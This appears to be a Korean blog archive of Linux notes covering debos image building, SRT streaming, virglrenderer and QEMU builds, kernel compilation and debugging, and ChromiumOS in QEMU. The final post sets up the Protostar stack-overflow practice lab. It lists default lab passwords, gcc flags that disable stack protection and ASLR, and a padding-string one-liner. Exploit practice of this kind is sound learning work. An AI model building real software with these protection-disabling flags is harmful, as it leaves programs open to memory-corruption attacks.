카테고리

asm (27) bootloader_x86_grub (1) C (92) compile (11) config (76) CPP (13) CSS (1) debugging (7) gimp (1) Go (1) html (1) Java (1) JavaScript (1) kernel (19) LibreOffice (3) Linux system progamming (21) MFC (1) opencv (4) OpenGL (1) PHP (1) Python (4) qemu (29) shell (3) socket (7) troubleshooting (2) ubuntu18.04 (2) windows (1)

2018/12/31

데비안 기반에서 파생된 운영체제 이미지 제작

데비안 기반에서 파생된 운영체제 이미지 제작
주로 사용되는 방식은 debootstrap 사용한다.

사용자 정의 이미지 제작, 추가 패키지 설치, 스크립트 실행, 파일 추가 등등.

debos 유틸은 qemu 지원하는 모든 아키텍처에 대한 이미지를 생성 할 수 있다.
sudo apt-get install debos

debootstrap 이미지
필요한 패키지를 설치.
사용자 생성
기본 호스트 이름 설정
사용자 만드는 스크립트 작성.
sudoers에 사용자 추가
최종 이미지 tarball 만들기

dobos 사용 스크립트
https://github.com/ana/debos-example

shell> vi simple.yaml
{{- $architecture := or .architecture "arm64" -}}
{{- $suite := or .suite "stretch" -}}
{{ $image := or .image (printf "debian-%s-%s.tgz" $suite $architecture) }}

architecture: {{ $architecture }}

actions:
  - action: debootstrap
    suite: {{ $suite }}
    components:
      - main
    mirror: http://deb.debian.org/debian
    variant: minbase

  - action: apt
    recommends: false
    packages:
      - adduser
      - sudo

  - action: run
    description: Set hostname
    chroot: true
    command: echo debian-{{ $suite }}-{{ $architecture }} > /etc/hostname

  - action: run
    chroot: true
    script: scripts/setup-user.sh

  - action: overlay
    description: Add sudo configuration
    source: overlays/sudo

  - action: pack
    file: {{ $image }}
    compression: gz

설정 파일 실행.
$ debos simple.yaml
최종 결과: debian-stretch-arm64.tar.gz

$ debos -t suite:"buster" -t architecture:"amd64" simple.yaml
최종 결과: debian-buster-amd64.tar.gz

매개변수 몇 가지 맞춤 설정
armhf
arm64:
python-libsoc

- action: apt
  recommends: false
  packages:
    - adduser
    - sudo
{{- if eq $architecture "armhf" "arm64" }}
    - python-libsoc
{{- end }}

파티션 분할 이미지 생성
- action: image-partition
  imagename: {{ $ext4 }}
  imagesize: 1GB
  partitiontype: msdos
  mountpoints:
    - mountpoint: /
      partition: root
  partitions:
    - name: root
      fs: ext4
      start: 0%
      end: 100%
      flags: [ boot ]

- action: filesystem-deploy
  description: Deploying filesystem onto image

사용할 파일시스템 정의
{{ $ext4 := or .image (printf "debian-%s-%s.ext4" $suite $architecture) }}

압축 파일 생성, debos 옵션에 추가 파일에 대한 이미지 작성 추가
$ debos -t type:"full" full.yaml

최종 full 파일
{{- $architecture := or .architecture "arm64" -}}
{{- $suite := or .suite "stretch" -}}
{{ $type := or .type "min" }}
{{ $image := or .image (printf "debian-%s-%s.tgz" $suite $architecture) }}
{{ $ext4 := or .image (printf "debian-%s-%s.ext4" $suite $architecture) }}

architecture: {{ $architecture }}

actions:
  - action: debootstrap
    suite: {{ $suite }}
    components:
      - main
    mirror: http://deb.debian.org/debian
    variant: minbase

  - action: apt
    recommends: false
    packages:
      - adduser
      - sudo
{{- if eq $architecture "armhf" "arm64" }}
      - python-libsoc
{{- end }}

  - action: run
    description: Set hostname
    chroot: true
    command: echo debian-{{ $suite }}-{{ $architecture }} > /etc/hostname

  - action: run
    chroot: true
    script: scripts/setup-user.sh

  - action: overlay
    description: Add sudo configuration
    source: overlays/sudo

  - action: pack
    file: {{ $image }}
    compression: gz

{{ if eq $type "full" }}
  - action: image-partition
    imagename: {{ $ext4 }}
    imagesize: 1GB
    partitiontype: msdos
    mountpoints:
      - mountpoint: /
        partition: root
    partitions:
      - name: root
        fs: ext4
        start: 0%
        end: 100%
        flags: [ boot ]

  - action: filesystem-deploy
    description: Deploying filesystem onto image
{{end}}

프로젝트 사이트 : https://github.com/go-debos/debos-recipes

SRT 고화질 비디오 전송 기술.

고화질 비디오 전송 기술.

일반적으로 비디오 화질, 전송지연(대기시간) 간의 절충이 필요함.

스트리밍 비디오 처리
HLS 및 DASH 와 같은 세그먼트 화 된 스트리밍 기술을 사용.
Netflix와 같은 서비스 등장 비디오 배포의 세계화 진입

RTP 및 WEbRTC 기술
대기 시간이 짧은 기술을 사용하여 상대적으로 낮은 비트 전송률을 목표로하는 VoIP 시스템에 적용함.

SRT
낮은 지연 시간에 방송 등급의 비디오를 전송할 수있게함으로써 그 격차를 최소화 시킨다.

SRT 사이트 : https://www.srtalliance.org/#about_srt
1. 패킷이 손실되면 재전송을하게되지만 구성된 대기 시간에 의해 결정되는 특정 시간 동안 패킷 재전송
이는 응용 프로그램 대기 시간에 의해 제한된다는 것을 의미한다.

2. UDT의 알고리즘을 기반으로 사용 가능한 대역폭을 추측한다.
즉, 링크 용량 초과 속도로 전송하는 것을 피하며, 응용 프로그램에서 정보를 사용할 수 있도록한다.(인코더로). 가능한 최상의 품질을 보장한 대역폭을 초과하지 않도록 인코딩 비트 전송률을 조정할 수 있다. 이러한 기술의 조합을 사용하면 대역폭 충분하므로 인터넷을 통해 방송 등급의 비디오를 확인 할 수 있다.

SRT는 연결 지향 프로토콜이므로 2 피어를 연결한다.

참고 srt 설치: https://github.com/Haivision/srt
shell> git clone https://github.com/Haivision/srt
shell> sudo apt-get update
shell> sudo apt-get upgrade
shell> sudo apt-get install tclsh pkg-config cmake libssl-dev build-essential
shell> ./configure
shell> make

사용 예제.
서버 인코더 동작
shell> gst-launch-1.0 v4l2src ! video/x-raw, height=1080, width=1920 ! videoconvert ! x264enc tune=zerolatency ! video/x-h264, profile=high ! mpegtsmux ! srtserversink uri=srt://:8888/

클라이언트 접근
shell> gst-launch-1.0 srtclientsrc srt://192.168.1.55:8888 ! decodebin ! autovideosink

vlc 기반 테스트
vlc 설정 확인.
shell> vlc --list | grep srt
VLC media player 3.0.0 Vetinari (revision 3.0.0-3-g7821ebf808)
  access_output_srt      SRT stream output
  access_srt             SRT input

vlc gui 모드
도구 -> 환결설정 -> 왼쪽 하단 설정보기 -> 전체 선택 -> 입력/코덱 -> 접근 모듈 -> SRT 확인

설정 확인
vlc --vout myplugin --verbose 2 ~/test.mpg  -I dummy --my-option 1234

SRT 지원 확인,
./configure  '--disable-srt' ---> 이모드이면 enable로 변경후 재 컴파일.
기본 사용법은 UDP 또는 TCP 기반 스트림 방법이다.

shell> gst-launch-1.0 v4l2src ! video/x-raw, height=1080, width=1920 \
    ! videoconvert ! x264enc tune=zerolatency ! video/x-h264, profile=high \
    ! mpegtsmux ! srtserversink uri=srt://:8888/

vlc 스트림 재생
srt://ip_address:8888/

가상화 GPU 활성화 커널 모듈 추가

Ubuntu Kernel은 QEMU 패키지 virglrenderer 비활성 배포.

활성화를 위해 시스템 ppa를 추가해 테스트 한다.
sudo add-apt-repository ppa:ernstp/virgl
sudo apt-get update

sudo apt-get install librte-pmd-virtio17.11 entropybroker golang-github-linuxkit-virtsock-dev guestfsd libvirglrenderer-dev libvirglrenderer0 spice-webdavd qemu-guest-agent

우분투 17.10 이미지 다운로드
wget http://releases.ubuntu.com/17.10/ubuntu-17.10.1-desktop-amd64.iso
qemu-img create -f qcow2 ubuntu.qcow2 10G
qemu-system-x86_64 \
    -show-cursor \
    -enable-kvm -M q35 -smp 2 -m 4G \
    -drive file=ubuntu.qcow2,if=virtio \
    -net nic,model=virtio \
    -net user,hostfwd=tcp::2222-:22 \
    -vga virtio \
    -display sdl,gl=on \
    -boot d -cdrom ubuntu-17.10.1-desktop-amd64.iso

가상화 GPU 사용.

가상화에서 GPU 사용

1. OpenGL ES 구현
OpenGL ES 2.0 지원.
OpenGL ES 2.0은 많은 모바일 플랫폼에서 가장 낮은 버전.
Virgil3D가 이러한 플랫폼에서 실행 가능해야 한다는 요구 사항으로 진행.

virgil3D를 OpenGL ES 호스트에서 동작하기 위해 시작됨.

Guest :
-Application
-Mesa -> virgl
-kernel -> virtio-gpu
-----------------------
Host :
-QEMU -> virtio-gpu
      -> virglrenderer
OpenGL

qemu, virglrenderer 및 virtio-gpu.
동작 하는 방식은 게스트 애플리케이션이 수정 되지 않고 OpenGL을 메사에게 알려주는 것이다.
메사를 대신 처리 하는 하드웨어에 명령을 전달 하는 것은 게스트의 virtio-gpu를 통해 호스트 qemu 전달 된다.

그런 다음 QEMU는 그래픽 스택 상태 (Gallium 상태)를 수신하고 virglrenderer를 사용하여 호스트 시스템에서 정상적인 OpenGL로 실행하게 한다.

호스트 OpenGL 스택은 메사가 아닌 nvidia의 스택일 수 있다.

2. 개발환경
병렬 처리 그래픽 스택 설정
function add_export_env {
  local VAR="$1"
  shift
  local VAL=$(eval echo "\$$VAR")
  if [ "$VAL" ]; then
    VAL=$(concatenate_colon "$@" "$VAL");
  else
    VAL=$(concatenate_colon "$@");
  fi
  eval "export $VAR=\"$VAL\""
}

function prefix_setup {
  local PREFIX="$1"

  add_export_env PATH "$PREFIX/bin"
  add_export_env LD_LIBRARY_PATH "$PREFIX/lib"
  add_export_env PKG_CONFIG_PATH "$PREFIX/lib/pkgconfig/" "$PREFIX/share/pkgconfig/"
  add_export_env MANPATH "$PREFIX/share/man"
  export ACLOCAL_PATH="$PREFIX/share/aclocal"
  mkdir -p "$ACLOCAL_PATH"
  export ACLOCAL="aclocal -I $ACLOCAL_PATH"
}

function projectshell {
  case "$1" in
    virgl | virglrenderer)
        export ALT_LOCAL="/opt/local/virgl"
        mkdir -p "$ALT_LOCAL"
        prefix_setup "$ALT_LOCAL"
        ;;
}

.bashrc 추가

2.1 libepoxy 빌드
opengl 함수 포인터 관리 라이브러리. 의존성 virglrenderer

git clone https://github.com/anholt/libepoxy.git
cd libepoxy
./autogen.sh --prefix=$ALT_LOCAL
make -j$(nproc --ignore=1)
make install

2.2 virglrenderer 빌드
qemu 가속 렌더링 구성요소.
virtio-gpu 인터페이스를 통해 게스트 커널에서 Gallium 상태를 수신 한 다음 호스트의 OpenGL로 변환.
Gallium에서 사용하는 TGSI 형식의 쉐이더를 OpenGL에서 사용하는 GLSL 형식으로 변환.

git clone git://anongit.freedesktop.org/virglrenderer
cd virglrenderer
./autogen.sh --prefix=$ALT_LOCAL
make -j$(nproc --ignore=1)
make install

2.3 libpciaccess 빌드
PCI 버스의 장치 접근 라이브러리. 메사와 의존성 있음.

git clone git://git.freedesktop.org/git/xorg/lib/libpciaccess
cd libpciaccess
./autogen.sh --prefix=$ALT_LOCAL
make -j$(nproc --ignore=1)
make install

2.4 mesa 빌드
# 의존성 해결
sudo sed -i 's/\#deb-src/deb-src/' /etc/apt/sources.list
sudo apt update
sudo apt-get build-dep mesa

# Mesa 빌드
git clone https://anongit.freedesktop.org/git/mesa/mesa.git
cd mesa
./configure \
    --prefix=$ALT_LOCAL \
    --enable-driglx-direct \
    --enable-gles1 \
    --enable-gles2 \
    --enable-glx-tls \
    --with-egl-platforms='drm x11 wayland' \
    --with-dri-drivers="i915 i965 nouveau" \
    --with-gallium-drivers="nouveau swrast radeonsi"
make -j$(nproc --ignore=1)
make install

2.5 qemu 빌드
git clone git://git.qemu.org/qemu.git
cd qemu
./configure \
    --prefix=$ALT_LOCAL \
    --target-list=x86_64-softmmu \
    --enable-kvm \
    --disable-werror \
    --enable-virglrenderer
make -j$(nproc --ignore=1)
make install

2.6 vm 설정
우분투 17.10 사용 테스트, 테스트할 배포한의 최신 버전 사용해 테스트 한다.
커널 옵션중 virtio-gpu Kconfig 옵션 추가 설정해 빌드 해야함.

wget http://releases.ubuntu.com/17.10/ubuntu-17.10.1-server-amd64.iso
qemu-img create -f qcow2 ubuntu.qcow2 35G
qemu-system-x86_64 \
    -enable-kvm -M q35 -smp 2 -m 4G \
    -hda ubuntu.qcow2 \
    -net nic,model=virtio \
    -net user,hostfwd=tcp::2222-:22 \
    -vga virtio \
    -display sdl,gl=on \
    -boot d -cdrom ubuntu-17.10.1-desktop-amd64.iso

2.7 vm 실행
qemu-system-x86_64 \
    -enable-kvm -M q35 -smp 2 -m 4G \
    -hda ubuntu.qcow2 \
    -net nic,model=virtio \
    -net user,hostfwd=tcp::2222-:22 \
    -vga virtio \
    -display sdl,gl=on

2.8 OpenGL ES 백엔드 QEMU 실행
qemu-system-x86_64 \
    -enable-kvm -M q35 -smp 2 -m 4G \
    -hda ubuntu.qcow2 \
    -net nic,model=virtio \
    -net user,hostfwd=tcp::2222-:22 \
    -vga virtio \
    -display sdl,gl=es

-sdl,gl=core OpenGL 컨텍스트 강제 생성.
-sdl,gl=on OpenGL 컨텍스트 생성 실패 할 경우, OpenGL ES 컨텍스트 생성한다.
-sdl,gl=off 가속화 사용하지 않음.

커널 개발 qemu kvm config 설정

0. 커널 컴파일
https://nautiluslee.blogspot.com/2018/12/blog-post_88.html

1. qemu 가상 컴퓨터 커널 부팅
$ sudo qemu-system-x86_64 -kernel /boot/vmlinuz-`uname -r`

2. 루트파일 시스템 추가
debootstrap을 사용하면 데비안 배포판을 디렉토리에 설치할 수 있다.
파일 시스템이 nodev 옵션으로 마운트되면 장치 노드를 만들 수 없다.
대신, 디렉토리에 qemu 이미지 파일을 마운트하고 다음과 같이 마운트 지점에서 debootstrap를 사용 한다:

IMG=qemu-image.img
DIR=mount-point.dir
qemu-img create $IMG 1g
mkfs.ext2 $IMG
mkdir $DIR
sudo mount -o loop $IMG $DIR
sudo debootstrap --arch amd64 jessie $DIR
sudo umount $DIR
rmdir $DIR

개발시 필요한 파일의 rootfs 사용 하거나, busybox 루트파일 시스템을 사용할 수 다.
$ sudo qemu-system-x86_64 -kernel /boot/vmlinuz-`uname -r`\
                          -hda qemu-image.img\
                          -append "root=/dev/sda single"

경고 파일 옵션 처리
“-hda qemu-image.img” 옵션 대신 “-drive file=qemu-image.img,index=0,media=disk,format=raw” 옵션을 사용한다.

3. 커널 빌드 및 부팅
기존 커널 구성 make kvmconfig 한 다음, 자신만의 qemu 커널을 만든다.
처음부터 .config 파일을 만들지 않고, 일반 설정 구성을 위해 kvmify 한다.
빌드 시간 단축 할 수 있는 전용 config 파일을 만들 수도 있지만 반복 작업 필요.

git clone --depth=1 git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
cd linux
make x86_64_defconfig
make kvmconfig
make -j 8

3.1 생성된 커널 이미지로 부팅
$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage
                     -hda qemu-image.img
                     -append "root=/dev/sda"

3.2 kvm 부팅 시간 단축
kvm 옵션을 추가해 가속화 기능 활성화.
$ qemu-system-x86_64 -kernel bzImage
                     -hda qemu-image.img
                     -append "root=/dev/sda"
                     --enable-kvm

ebootstrap 이미지로 2초 이내 부팅.
부팅 시간 확인 dmesg 확인.
enable-kvm 옵션 추가 전 systemd의 부팅은 5.9초, 옵션 추가 시 1.7초 후 systemd 동작.
3배 단축.

3.3 qemu 연결
qemu 모니터 화면 표시, 터미널을 사용하려면 ALT + TAB 목록에 들어간다.
키보드 마우스 캡처 용도 적합하지 않음.
복사 붙여 넣기 문제, 그래서 그래픽 기반의 인터페이스 제거하고 ttyS0에로 qemu 통신, 리다이렉션 모드 사용.

$ qemu-system-x86_64 -kernel bzImage
                     -append "root=/dev/sda console=ttyS0"
                     -hda qemu-image.img
                     --enable-kvm
                     --nographic

커널 정지
$ halt qemu

시스템 다운.
$ shutdown -h now

커널 컴파일.

커널 컴파일 
git 저장소: http://git.kernel.org

1. 홈디렉토리 이동.
cd $HOME

2. 소소 다운로드
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git

3. 커널 소스코드 이동
cd linux

3.1 커널 버전 설정. 
git checkout COMMIT

여기서 지정한 COMMIT는 해쉬 값이다.(9587190107d0c0cbaccbf7bf6b0245d29095a9ae) 

4. 현재 커널 설정 값 복사.
cp /boot/config-`uname -r` .config

4.1 설정 파일 최선 상태로 변경하기. 특별하게 관심이 없다면 enter 키를 누른다.
make oldconfig

4.2 기존 설정 파일이 가지고 있는 정보가 부족해 계속 질의 하므로 모든것 YES로 지정후 설정 파일을 만든다.
yes '' | make oldconfig

5. 커널 설정 변경
make menuconfig

5.1 커널 소스 디렉토리 정리
make clean

5.2 컴파일 옵션(CPU 코어 쓰레드 사용) 버전명을 custom 지정
make -j `getconf _NPROCESSORS_ONLN` deb-pkg LOCALVERSION=-custom

5.3 경로 이동
cd ..

5.4 설치
sudo dpkg -i linux-image-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb
sudo dpkg -i linux-headers-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb

6. 재부팅
sudo reboot

우분투 지원하는 버전으로 커널 컴파일 

cd $HOME
git clone git://kernel.ubuntu.com/ubuntu/ubuntu-lucid.git
cp -a /usr/share/kernel-package ubuntu-package
cp ubuntu-lucid/debian/control-scripts/{postinst,postrm,preinst,prerm} ubuntu-package/pkg/image/
cp ubuntu-lucid/debian/control-scripts/headers-postinst ubuntu-package/pkg/headers/

오버레이 디렉토리를 사용하여 패키지 빌드  
cd $HOME/linux
CONCURRENCY_LEVEL=`getconf _NPROCESSORS_ONLN` fakeroot make-kpkg --initrd --append-to-version=-custom --overlay-dir=$HOME/ubuntu-package kernel_image kernel_headers

참고 : "--overlay-dir"옵션은 Lucid 이상에서만 사용할 수 있다. 이하 버전일 경우 kernel-package의 백 포트를 설치하거나 필요에 따라 수동으로 /usr/share/kernel-package를 편집해야 함.
cd ..
sudo dpkg -i linux-image-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb
sudo dpkg -i linux-headers-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb

sudo reboot

Qemu ChromiumOS 구축

1. Qemu ChromiumOS 구축
ChromiumOS 구성하는 것은 쉽다.
하지만 QEMU에서 동작 하려면 추가 작업을 해줘야 함.

ChromiumOS와 ChromeOS의 관계
ChromeOS에서 특정 기능을 제거 한 후 다 시 패키징 해 또 다른 프로젝트 ChromiumOS을 만듬.

Depot tools 설치.
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:$(PWD)/depot_tools

부팅시 적용 하려면 .bashrc 경로 설정.
vi ~/.bashrc
export PATH=$PATH:$(PWD)/depot_tools

2. ChromiumOS 구축
mkdir chromiumos
cd chromiumos
repo init -u https://chromium.googlesource.com/chromiumos/manifest.git --repo-url https://chromium.googlesource.com/external/repo.git [-g minilayout]
repo sync -j75
cros_sdk
export BOARD=amd64-generic
./setup_board --board=${BOARD}
./build_packages --board=${BOARD}
./build_image --board=${BOARD} --boot_args "earlyprintk=serial,keep console=tty0" --noenable_rootfs_verification test
./image_to_vm.sh --board=${BOARD} --test_image

3. ChromiumOS 부팅방법(not)
cros_start_vm 명령을 통해 이미지 파일을 만든다. 그래픽(VNC) 출력에 대한 문제가 남아있다.
VNC 출력 표준을 확인하지 못하는 것으로 보여진다.

cros_sdk
./bin/cros_start_vm --image_path=../build/images/${BOARD}/latest/chromiumos_qemu_image.bin --board=${BOARD}

3.1 qemu 실행
ChromiumOS 부팅

3.2 의존성 패키지 설치(17.10 기반 으로 테스트 함)
sudo apt install autoconf libaio-dev libbluetooth-dev libbrlapi-dev libbz2-dev libcap-dev libcap-ng-dev libcurl4-gnutls-dev libepoxy-dev libfdt-dev libgbm-dev libgles2-mesa-dev libglib2.0-dev libgtk-3-dev libibverbs-dev libjpeg8-dev liblzo2-dev libncurses5-dev libnuma-dev librbd-dev librdmacm-dev libsasl2-dev libsdl1.2-dev libsdl2-dev libseccomp-dev libsnappy-dev libssh2-1-dev libspice-server-dev libspice-server1 libtool libusb-1.0-0 libusb-1.0-0-dev libvde-dev libvdeplug-dev libvte-dev libxen-dev valgrind xfslibs-dev xutils-dev zlib1g-dev libusbredirhost-dev usbredirserver

3.3 비글 렌더러
Virglrenderer는 Qemu의 3D GPU 그래픽 기능 활성화.
OpenGL 지원함. virgl을 사용하지 않을려면 Qemu 구성 단계에서 Qemu 런타임 플래그 제거한다.

git clone git://git.freedesktop.org/git/virglrenderer
cd virglrenderer
./autogen.sh
make -j7
sudo make install

4. QEMU
x86_64 에물레이터 사용.
git clone git://git.qemu-project.org/qemu.git
mkdir -p qemu/build
cd qemu/build
../configure --target-list=x86_64-softmmu --enable-gtk --with-gtkabi=3.0 --enable-kvm --enable-spice --enable-usb-redir --enable-libusb --enable-virglrenderer --enable-opengl
make -j7
sudo make install

5. 이미지 실행
Qemu를 사용해 부팅 가능.

virtio-gpu-pci,virgl 옵션을 사용하기 위해서는 호스트 환경 커널 옵션 체크.
kconfig 파일 열어 다음 설정 값 활성화 확인.
CONFIG_DRM_VIRTIO, CONFIG_VIRT_DRIVERS 및 CONFIG_VIRTIO_XXXX.

cd chromiumos
/usr/local/bin/qemu-system-x86_64 \
    -enable-kvm \
    -m 2G \
    -smp 4 \
    -hda src/build/images/amd64-generic/latest/chromiumos_qemu_image.bin \
    -vga virtio \
    -net nic,model=virtio \
    -net user,hostfwd=tcp:127.0.0.1:9222-:22 \
    -usb -usbdevice keyboard \
    -usbdevice mouse \
    -device virtio-gpu-pci,virgl \
    -display gtk,gl=on

리눅스 커널: 메모리 손상 - 디버그 트릭

리눅스 커널: 메모리 손상 - 디버그 트릭
참고: 커널 컴파일 사용, 메모리 손상에 관련된 디버그 방법.

커널 메세지 확인.
shell> dmesg
BUG : 커널 페이징 처리 문제
nvalid opcode: 0000 [#1] SMP
general protection fault: 0000 [#1] SMP
BUG: unable to handle kernel NULL pointer dereference at 0000000000000258

메모리 손상 확인

shell> dmesg
[   37.183009] IP: [<ffffffff817c69f0>] _raw_spin_lock_irqsave+0x20/0x80
[   37.183130] Call Trace:

두개의 메세지 확인
- IP(명령어 위치)주소
- 호출 추적

IP : 명령 위치 주소 정보. 이 주소가 오류를 생성한 주소임.

해당 주소 확인
$ addr2line -e path_to_your_kernel_tree/vmlinux 0xffffffff817c69f0
path_to_your_kernel_tree//./arch/x86/include/asm/spinlock.h:106

path_to_your_kernel_tree: 커널 소스 위치
vmlinux : 압축되지 않은 커널 이미지

참고: 커널 컴파일시 debug 플래그 추가 옵션 설정 확인.

호출 추적
[   37.183130] Call Trace:

함수 코드 섹션 확인.
$ nm drivers/media/vmc/vmc.ko | grep vmc_cap_destroy
0000000000000680 T vmc_cap_destroy

$ addr2line -e path_to_your_kernel_tree/drivers/media/vmc/vmc.ko 0x6c0
path_to_your_kernel_tree/drivers/media/vmc/vmc-capture.c:396

디버그 출력 활성화.
$ sudo sh -c "echo -n 'module media +p' > /sys/kernel/debug/dynamic_debug/control"
동작 하지 않으면 DYNAMIC_DEBUG 옵션 설정 확인

테스트 한 모듈(생생한 모듈)의 경우, vivid_debug 매개 변수 변경
$ sudo modprobe vivid vivid_debug=8

이미 실행중일 때 매개변수 변경
sudo sh -c "echo -n 0 > sys/module/vivid/parameters/vivid_debug"

동적 디버그:
커널이 DYNAMIC_DEBUG 플래그로 컴파일 된 경우 printk를 사용해 dmage에 로그를 남길 수 있음.

shell> sudo modprobe media

디버그 정보 기록 시작 +p, =p는 해당 줄 출력 사용
$ sudo sh -c "echo -n 'module media +p' > /sys/kernel/debug/dynamic_debug/control"

$ sudo cat /sys/kernel/debug/dynamic_debug/control | grep "\[media\]" drivers/media/media-entity.c:301 [media]media_entity_pipeline_start =p "\042%s\042:%u must be connected by an enabled link\012" drivers/media/media-entity.c:287 [media]media_entity_pipeline_start =p "link validation failed for \042%s\042:%u -> \042%s\042:%u, error %d\012"

디버그 정보 출력 비 활성화 -p, =_ 해당 줄 출력 않함
$ sudo sh -c "echo -n 'module media -p' > /sys/kernel/debug/dynamic_debug/control"

$ sudo cat /sys/kernel/debug/dynamic_debug/control | grep "\[media\]" drivers/media/media-entity.c:301 [media]media_entity_pipeline_start =_ "\042%s\042:%u must be connected by an enabled link\012" drivers/media/media-entity.c:287 [media]media_entity_pipeline_start =_ "link validation failed for \042%s\042:%u -> \042%s\042:%u, error %d\012"

특정 출력 사용.
$ sudo sh -c "echo -n 'file media-entity.c +p' > /sys/kernel/debug/dynamic_debug/control"
$ sudo sh -c "echo -n 'file media-entity.c line 301 +p' > /sys/kernel/debug/dynamic_debug/control"

디버그 메세지 실시간 확인
$ tail -f /var/log/kern.log

Qemu 사용 커널 디버깅 하기.

Qemu 사용 커널 디버깅 하기.

Kmemleak 커널 옵션 설정
커널 메모리 누수 활성화.
초기 로그 항목 최대값 지정, 값이 너무 낮으면 부팅시 비활성화 됨.
-> Memory Debugging
                [*]Enable kernel memory leak detector.
                (2000) Maximum kmemleak early log entries

주기적 커널 메모리 누수 감지. 메모리 누출이 감지되면, dmesg에 log를 남긴다.
수동 트리거 설정
$ echo scan >> /sys/kernel/debug/kmemleak
$ cat /sys/kernel/debug/kmemleak

메몰리 누수 검사는 일정한 시간동안 탐지 한므로, 메모리 누수를 바로 확인 할 수 없다.
누수가 감지되지 않으면 log를 남기지 않는다.
누수가 감지되면, 누출이 된 곳에서 여러 차례 수동 검사를 해야함.

자세한 내용
https://www.kernel.org/doc/Documentation/kmemleak.txt

네트워크 설정
ssh 접근해 잡업을 위해 설정

auto eth0
iface eth0 inet dhcp

$ apt-get install openssh-server
$ adduser user

ssh 게스트 접근.
host port -net nic -net user,hostfwd=tcp::5555-:22.

$ qemu-system-x86_64 -kernel bzImage
                     -append "root=/dev/sda console=ttyS0 single"
                     -drive file=toto.img,index=0,media=disk,format=raw
                     --enable-kvm --nographic
                     -net nic -net user,hostfwd=tcp::5555-:22

호스트 컴퓨터 접근
$ ssh -p 5555 user@localhost

QEMU에서 USB 장치 브리짓
$ lsusb
-usb -usbdevice host:050d:016a. 공급 업체 확인.

GDB 부팅
커널 디버깅, Kernel hacking” 옵션에서 들어간다.
        [*] KGDB: kernel debugger  --->
                <*>   KGDB: use kgdb over the serial console
        -> Compile-time checks and compiler options
                [*] Compile the kernel with debug info


-s 옵션 추가
게스트 사용자 커널 디버깅을 위해 포트 생성.
호스트 TCP 소켓으로 gdb와 연결.
$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage
                     -hda toto.img
                     -append "root=/dev/sda" -s

동일한 부팅 같지만, gdb로 커널 디버깅 가능하게 설정한 상태이다.

vmlinux는 비압축 bzImage이며 심볼은 바이너리에 포함된다.
이러한 이유 때문에 gdb를 사용할 수 있데 된다.

$ gdb vmlinux

gdb 시스템 연결.
(gdb) target remote localhost:1234

가상 컴퓨터 중지, gdb 명령을 사용 역 추적 검사.
(gdb) breakpoint spin_lock
(gdb) continue

커널 디버깅 옵션 추가
동적 디버그 사용.
-> printk and dmesg options
                [*] Enable dynamic printk() support

유용할 수 있으므로 추가.
-> Tracers (FTRACE [=y])

-s 옵션으로 2대의 시스템을 디버깅 할 때, 프로세스마다 전용 통신포트를 생성해야 함.

동일한 디스크의에서 다른 이미지 두개를 사용해 디버깅시 정의하지 않은 결과가 생성될 수 있으며, 이러한 이유 때문에 이미지가 손살될 수 있다.
이미지를 새로운 이름으로 복사해 작업.
qemu에서 지원하는 copy-to-write 를 사용해 원본 파일 시스템 변경 사항을 별도의 파일로 작성해 관리하므로 해당 문제 해결.

C 언어 변수 키워드

컴퓨터:
연산장치, 기억장치
연산(cpu)
기억: RAM(주기억), HDD(보조기억)

RAM 변수 생성 영역.
stack: 자동 변수 a = 5;
heap: 동적할당 malloc()
data: 정적변수 static a = 5;

원형
기억부호 자료형 이름 = 초기값
기업부호: auto, static, register
자료형: 정수, 실수, 변수, 지역변수, 전역변수, 구조체, 공용체

지역변수: scope { } 안에 선언
전역변수: scope { } 밖같쪽 선언

전역변수.
static 선언: 전역으로 설정 되며 메모리의 data 영역에 위치한다.
지역변수 선언에서 static 키워드를 사용하면 전역변수와 동일하게 사용된다.

exten 키워드: 외부 파일에 선언된 외부 변수 선언. 선언과 정의를 분리한다.
exten 선언시 외부 파일에 정의된 변수 접근한다.
함수에 exten 키워드를 사용하지 않아도 자동으로 호출 한다.

지역변수
매개변수: 인자 전달 변수는 지역변수 이며, 자동 변수이다.
즉, scope { } 사이에 동일한 변수 이름을 선언해서는 안된다.

식별자 검색 순위:
1. 가장 최근에 scope 형성된 안에서 탐색.
2. 최대 함수의 바디까지 탐색한다.
3. 그리고 없으면 전역위치에서 탐색한다.

register: 최적화에 적용하는 변수이다. 하지만 현 시대의 컴파일 및 cpu에서 높은 효율은 없다.

현한정어
const : 상수화 할 것이다.(문법적 구성 Road Only)
volatile: 최적화 금지(향후 변경될 가능성이 존재하므로 최적화 필요 없음)

최적화: 컴파일러가 한다. 번역할 때 컴파일러가 어떻게 번역 하는야에 따라 성능이 다르다.
컴파일러가 성능이 좋으면은 같은 코드라고 해도 성능은 차이가 난다.

스택 오버플로우 테스트

라이브 오버플로우 프로토스타
http://liveoverflow.com/binary_hacking/protostar/

vmware player 다운로드
https://www.vmware.com/kr/products/workstation-player/workstation-player-evaluation.html

프로토 스타 제공하는 우분투 기반의 iso 파일.
- 라이브 cd 이미지
-- 가상머신 생성
-- 우분투 32bit
root/godmode

kali linux dawnload
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
root/toor

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.

파이썬으로 문자열 생성
shell> python -c "printf('a'*80)"

rsi -> source index 출발지
rdi -> destination index 목적지

peda 다운로드 사이트
https://github.com/longld/peda

설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit

